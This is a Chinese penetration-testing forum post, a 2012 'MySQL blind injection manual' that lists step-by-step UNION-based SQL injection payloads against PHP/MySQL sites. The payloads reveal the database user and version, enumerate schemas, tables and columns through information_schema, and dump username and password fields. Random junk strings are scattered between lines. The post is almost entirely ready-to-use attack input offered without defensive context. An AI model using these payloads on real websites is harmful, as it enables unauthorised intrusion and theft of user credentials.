中国网络渗透测试联盟
标题:
mysql盲注手册
[打印本页]
作者:
admin
时间:
2012-9-13 16:27
标题:
mysql盲注手册
% O: c3 }8 b* }, h
教程内容:Mysql 5+php 注入
3 x$ ?7 n1 I" F' M, L8 n
: b! m% ?; k% T8 o- p: S' q
1 S; e% p# t% ]: B; ^( Y8 @) Q
6 B2 |: c% T3 s5 m* V! k
一.查看MYSQL基本信息(库名,版本,用户)
/ Q4 F$ d; i& k' O3 b3 [
$ t& k0 C" o4 l* |+ t' F n: y' f
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
' S( a* t0 N7 r4 `6 I0 z; h
3 B) d( i7 ?8 j" D
二.查数据库
# N2 `" C U, d; x* \8 ]/ N$ ~9 J
y4 V( w9 G4 ^1 I9 ?1 t: e1 o
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
' }6 d% V% v9 {3 L
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
4 y+ I6 D1 U: i$ l: Y! d1 g
0 B# F6 Q, [, J4 G; ?
三.暴表
! k* A6 w5 x8 u8 N9 [
. t" k. ]& L, E; }$ a7 V6 u
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
" L- _: k5 [, f& P2 _2 e
9 k& t+ b8 d1 P* E
limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
0 [7 h- S( P" J S) b! v7 l
$ T, n2 w" C9 N0 L; y O
四.暴字段
1 u; g& P' h+ [
' O. u5 G7 E. L1 Z
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
+ e9 x: h/ d! s$ o+ F# H( n
; O h8 e0 ^; {3 C! v# z: M
limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
% \( l+ f5 _6 ?: n% z1 I& g3 g" h
) L8 ~9 x. Q3 ?- j! l7 g' d. q
五.暴数据
7 i! o; P/ I8 l8 h, X
. n( i$ p2 k s% @' ^" j2 M
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
( K2 F: [$ x5 L+ }1 Q
" T) F, H1 C2 U9 v% \! K4 Y' W$ ~
/ ?1 H% |/ @ w) i; J8 v, Q' y: Z
这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
' s. w) J8 `; i, o+ J
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2